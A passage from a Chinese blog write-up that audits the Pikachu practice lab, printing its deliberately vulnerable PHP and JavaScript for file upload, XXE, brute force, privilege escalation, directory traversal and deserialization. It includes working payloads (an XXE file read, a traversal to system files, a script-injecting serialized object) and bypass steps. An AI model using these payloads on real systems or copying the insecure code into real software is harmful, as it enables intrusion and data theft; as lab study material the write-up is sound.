var arr = ["jpg","png","gif"];
//取出上传文件的扩展名
var index = filename.lastIndexOf(".");
var ext = filename.substr(index+1);
//比较
for(var i=0;i<arr.length;i++)
{
if(ext == arr[i])
{
flag = true; //一旦找到合适的,立即退出循环
break;
}
}
//条件判断
if(!flag)
{
alert("上传的文件不符合要求,请重新选择!");
location.reload(true);
}
}
</script>
后端代码逻辑
$html='';
if(isset($_POST['submit'])){
// var_dump($_FILES);
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_client('uploadfile',$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
//客户端前端验证的后台函数
function upload_client($key,$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//新建一个保存文件的目录
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
$save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['new_path']=$save_path.$_FILES[$key]['name'];
$return_data['return']=true;
return $return_data;
}
通过审计,先看前端,前端选择文件的input框中绑定了一个onchange事件,用于触发checkFileExt()js函数,该函数用于校验文件的后缀名;后端中具有校验作用的是upload_client()函数,但是这个函数只对文件的大小、是否成功上传做了校验,并未做文件的类型、后缀名、文件头等相关的校验,所以,这里文件上传存在漏洞,前端可绕过
验证:
通过bp抓包绕过
由于这里触发验证的地方绑定的是一个onchange()事件,所以上传文件的时候,需要先上传允许的后缀名文件,抓包以后再改后缀名
从暴露和文件上传的位置访问phpinfo.php
MIME type 文件类型校验
路径:http://localhost/pikachu-master/vul/unsafeupload/servercheck.php
请求方式:POST
参数:uploadfile=xxx
漏洞成因:只对文件MIME类型做了校验,忽略了文件的后缀名校验,可以通过bp修改包中文件的类型即可绕过验证
审计:
$html='';
if(isset($_POST['submit'])){
// var_dump($_FILES);
$mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。
$save_path='uploads';//指定在当前目录建立一个目录
$upload=upload_sick('uploadfile',$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
//只通过MIME类型验证了一下图片类型,其他的无验证,upsafe_upload_check.php
function upload_sick($key,$mime,$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证一下MIME类型
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='上传的图片只能是jpg,jpeg,png格式的!';
$return_data['return']=false;
return $return_data;
}
//新建一个保存文件的目录
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
$save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['new_path']=$save_path.$_FILES[$key]['name'];
$return_data['return']=true;
return $return_data;
}
验证:
通过bp将上传文件的MIME类型修改即可
可以看到上传了一个phpinfo.php文件,只修改了MIME类型,文件就上传成功了
getimagesize 图片尺寸校验
路径:http://localhost/pikachu-master/vul/unsafeupload/getimagesize.php
请求方式:POST
参数:uploadfile=xxx
漏洞成因:
- 使用getimagesize()函数检查图片的尺寸信息,如果验证有误,返回false,这里可以制作一个图片马,来绕过校验
但是要执行的话,需要网站还存在文件包含漏洞
审计:
$html='';
if(isset($_POST['submit'])){
$type=array('jpg','jpeg','png');//指定类型
$mime=array('image/jpg','image/jpeg','image/png');
$save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
$upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
if($upload['return']){
$html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>";
}else{
$html.="<p class=notice>{$upload['error']}</p>";
}
}
//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
// var_dump($_FILES);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件!';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证上传方式
if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
$return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!';
$return_data['return']=false;
return $return_data;
}
//获取后缀名,如果不存在后缀名,则将变量设置为空
$arr_filename=pathinfo($_FILES[$key]['name']);
if(!isset($arr_filename['extension'])){
$arr_filename['extension']='';
}
//先验证后缀名
if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,再比较
$return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个';
$return_data['return']=false;
return $return_data;
}
//验证MIME类型,MIME类型可以被绕过
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='你上传的是个假图片,不要欺骗我xxx!';
$return_data['return']=false;
return $return_data;
}
//通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的
if(!getimagesize($_FILES[$key]['tmp_name'])){
$return_data['error']='你上传的是个假图片,不要欺骗我!';
$return_data['return']=false;
return $return_data;
}
//验证大小
if($_FILES[$key]['size']>$size){
$return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
$return_data['return']=false;
return $return_data;
}
//把上传的文件给他搞一个新的路径存起来
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
//生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称
$new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
if($arr_filename['extension']!=''){
$arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
$new_filename.=".{$arr_filename['extension']}";
}
//将tmp目录里面的文件拷贝到指定目录下并使用新的名称
$save_path=rtrim($save_path,'/').'/';
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
$return_data['error']='临时文件移动失败,请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去)
$return_data['save_path']=$save_path.$new_filename;
$return_data['filename']=$new_filename;
$return_data['return']=true;
return $return_data;
}
通过审计,upload()方法中,与文件有关的校验,包括
- 文件MIME类型的校验
- 文件后缀名白名单校验
- 文件是否真是图片的校验(图片尺寸检查):意味着需要上传一张真图片,改文件后缀名的方式就失效了,但是可以上传一张图片马
验证:
制作图片马上传
通过windows命令行中copy命令,制作一个图片马
文件上传
发现路径暴露了,配合文件包含漏洞,解析图片马
xxe 外部实体注入
路径:http://localhost/pikachu-master/vul/xxe/xxe_1.php
请求方式:POST
参数:xml=xxx
漏洞成因:
- 代码中使用了simplexml_load_string()函数,这个函数可以解析外部实体
- 这里的漏洞产生是直接传入未经过滤的xml参数到函数中执行
审计:
$html='';
//考虑到目前很多版本里面libxml的版本都>=2.9.0了,所以这里添加了LIBXML_NOENT参数开启了外部实体解析
if(isset($_POST['submit']) and $_POST['xml'] != null){
$xml =$_POST['xml'];
// $xml = $test;
$data = @simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
if($data){
$html.="<pre>{$data}</pre>";
}else{
$html.="<p>XML声明、DTD文档类型定义、文档元素这些都搞懂了吗?</p>";
}
}
验证:
payload:POST | 外部实体注入
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY xxe SYSTEM "file:///C:/windows/system32/drivers/etc/hosts">
]>
<name>&xxe;</name>
暴力破解
无防暴力破解措施
路径:http://localhost/pikachu-master/vul/burteforce/bf_form.php
请求方式:POST
参数:username=xxx&password=xxx
漏洞成因:
- 没有限制账号密码输入错误次数
- 没有设置验证码、token、滑块等控制措施
审计:
//典型的问题,没有验证码,没有其他控制措施,可以暴力破解
if(isset($_POST['submit']) && $_POST['username'] && $_POST['password']){
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
if($line_pre->num_rows>0){
$html.= '<p> login success</p>';
} else{
$html.= '<p> username or password is not exists~</p>';
}
} else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
验证:
使用bp暴力破解模块
前端验证绕过
路径:http://localhost/pikachu-master/vul/burteforce/bf_client.php
请求方式:POST
参数:username=xx&password=xxx
漏洞成因:验证码的生成和验证都通过前端js完成,可bp绕过
审计:
后端代码:
明显后端没有验证码生成、校验的机制
前端代码:
<form id="bf_client" method="post" action="bf_client.php" onsubmit="return validate();">
....
<label>
<input type="text"
onclick="createCode()"
readonly="readonly"
id="checkCode"
class="unchanged"
style="width: 100px" />
</label><br />
<label><input class="submit" name="submit" type="submit" value="Login" /></label>
</form>
<script language="javascript" type="text/javascript">
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的
for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}
function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}
createCode();
</script>
明显是通过js代码中createCode()生成验证码,通过validate()校验验证码
验证:
bp直接绕过验证码校验,等于情况和无验证码一样
后端验证绕过
路径:http://localhost/pikachu-master/vul/burteforce/bf_server.php
请求方式:POST
参数:username=xxx&password=xxx&code=xxx
漏洞成因:
- 登录校验和验证码刷新分为两个请求包完成
- 登录校验包中,校验一次后,无论是否成功,都没有销毁验证码,这里是主要原因
- 意味着完全可以只抓取请求登录校验的包,这样验证码就是固定的,即可绕过
审计:
该页面验证码的生成是通过请求/inc/showvcode.php
来的,刷新也是
代码如下:
<?php
session_start();
include_once 'function.php';
//$_SESSION['vcode']=vcode(100,40,30,4);
$_SESSION['vcode']=vcodex();
//验证码绕过 on server 这里其实还是有一个问题,就是服务端将验证码字符串以明文COOKIE的方式给了前端,那验证码还有什么鸟意义。。。
setcookie('bf[vcode]',$_SESSION['vcode']);
?>
也就是/vul/burteforce/bf_server.php
实际上加载的是两个请求包
bf_server.php
代码如下:
$html="";
if(isset($_POST['submit'])) {
if (empty($_POST['username'])) {
$html .= "<p class='notice'>用户名不能为空</p>";
} else {
if (empty($_POST['password'])) {
$html .= "<p class='notice'>密码不能为空</p>";
} else {
if (empty($_POST['vcode'])) {
$html .= "<p class='notice'>验证码不能为空哦!</p>";
} else {
// 验证验证码是否正确
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "<p class='notice'>验证码输入错误哦!</p>";
//应该在验证完成后,销毁该$_SESSION['vcode']
}else{
$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];
$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);
$line_pre->bind_param('ss',$username,$password);
if($line_pre->execute()){
$line_pre->store_result();
//虽然前面做了为空判断,但最后,却没有验证验证码!!!
if($line_pre->num_rows()==1){
$html.='<p> login success</p>';
}else{
$html.= '<p> username or password is not exists~</p>';
}
}else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
}
}
}
}
<form method="post" action="bf_server.php">
....
<label>
<img src="../../inc/showvcode.php" onclick="this.src='../../inc/showvcode.php?'+new Date().getTime();"/>
</label>
</form>
验证码校验成功以后,没有销毁或刷新验证码,直接进行数据库的查询
验证:
bp抓取第一个包,进行暴力破解
token防爆破
路径:http://localhost/pikachu-master/vul/burteforce/bf_token.php
请求方式:POST
参数:username=xx&password=xx&token=xxx
漏洞成因:
- 这个token值在一个input的value属性中
- 虽然加入了随机变化的token验证,但是在一个请求结束后,响应包中生成了新的token,同样输出在了input的value属性中,这就可以使用Burp Suite的Grep-Extract功能来提取响应中的token值,并将其设置为下一次请求的token payload
验证:
对比前后两次请求的包,发现第一次请求后响应包中新的token就是下一次请求中请求包中的token
使用burp中的Intruder模块,选择pitchfork攻击类型,添加payload:password和token
使用Burp Suite的Grep-Extract功能来提取响应中的token值
password选择一个密码字典,token选择递归搜索
设置单线程,防止token乱飞
爆破成功
逻辑漏洞
水平越权
路径:http://localhost/pikachu-master/vul/overpermission/op1/op1_mem.php
请求方式:GET
参数:username=xxx
漏洞成因:没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定,导致能够访问到其他用户的资料
审计:
$link=connect();
// 判断是否登录,没有登录不能访问
if(!check_op_login($link)){
header("location:op1_login.php");
}
$html='';
if(isset($_GET['submit']) && $_GET['username']!=null){
//没有使用session来校验,而是使用的传进来的值,权限校验出现问题,这里应该跟登录态关系进行绑定
$username=escape($link, $_GET['username']);
$query="select * from member where username='$username'";
$result=execute($link, $query);
if(mysqli_num_rows($result)==1){
$data=mysqli_fetch_assoc($result);
$uname=$data['username'];
$sex=$data['sex'];
$phonenum=$data['phonenum'];
$add=$data['address'];
$email=$data['email'];
$html.=<<<A
<div id="per_info">
<h1 class="per_title">hello,{$uname},你的具体信息如下:</h1>
<p class="per_name">姓名:{$uname}</p>
<p class="per_sex">性别:{$sex}</p>
<p class="per_phone">手机:{$phonenum}</p>
<p class="per_add">住址:{$add}</p>
<p class="per_email">邮箱:{$email}</p>
</div>
A;
}
}
验证:
登录的是lucy用户,修改username去查其他用户的资料
垂直越权
路径:http://localhost/pikachu-master/vul/overpermission/op2/op2_admin_edit.php
请求方式:POST
参数:username=xxx&password=xxx&sex=xxx&phonenum=xxx&email=xxx&address=xxx
漏洞成因:这个API只验证了用户登录状态,并没有验证用户权限级别,导致任何账号登录,都能使用这个API
审计:
$link=connect();
// 判断是否登录,没有登录不能访问
//这里只是验证了登录状态,并没有验证级别,所以存在越权问题。
if(!check_op2_login($link)){
header("location:op2_login.php");
exit();
}
if(isset($_POST['submit'])){
if($_POST['username']!=null && $_POST['password']!=null){//用户名密码必填
$getdata=escape($link, $_POST);//转义
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['address']}')";
$result=execute($link, $query);
if(mysqli_affected_rows($link)==1){//判断是否插入
header("location:op2_admin.php");
}else {
$html.="<p>修改失败,请检查下数据库是不是还是活着的</p>";
}
}
}
function check_op2_login($link){
if(isset($_SESSION['op2']['username']) && isset($_SESSION['op2']['password'])){
$query="select * from users where username='{$_SESSION['op2']['username']}' and sha1(password)='{$_SESSION['op2']['password']}'";
$result=execute($link,$query);
if(mysqli_num_rows($result)==1){
return true;
}else{
return false;
}
}else{
return false;
}
}
这里的验证用户是通过check_op2_login()进行的,可以看到这里的逻辑是从session中获取到username和password,代入sql语句中执行,只要查出结果就验证通过了,由此导致的垂直越权,因为普通用户是没有使用这个API的权限的
验证:
登录pikachu用户,在这个用户下去使用这个添加功能的API
使用hakerbar去发送post请求
信息泄露
目录遍历
路径:http://localhost/pikachu-master/dir.dir_list.php
请求方式:POST
参数:title=xxxc
漏洞成因:这里是将参数直接代入了文件包含函数,导致的问题
审计:
$html='';
if(isset($_GET['title'])){
$filename=$_GET['title'];
//这里直接把传进来的内容进行了require(),造成问题
require "soup/$filename";
// echo $html;
}
验证:
payload:GET |
?title=?title=../../../../../../../../windows/system32/drivers/etc/hosts
还有路径:http://localhost/pikachu-master/vul/infoleak/findabc.php
,暴露了测试密码
反序列化漏洞
路径:http://localhost/pikachu-master/vul/unserialization/unser.php
请求方式:POST
参数:o=xxx
漏洞成因:将未经过滤的php序列化对象传入反序列化函数unserialize()中执行,导致的问题
审计:
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
//O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
$html='';
if(isset($_POST['o'])){
$s = $_POST['o'];
if(!@$unser = unserialize($s)){
$html.="<p>大兄弟,来点劲爆点儿的!</p>";
}else{
$html.="<p>{$unser->test}</p>";
}
}
验证:
payload:POST |
?o=O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}
这是通过serialize()序列化函数转化的一个对象
对应的php对象:
class S{
public $test = "<script>alert(document.cookie)</script>"
}
标签:return,GET,pikachu,漏洞,html,靶场,php,data,POST
From: https://www.cnblogs.com/liigceen/p/18527301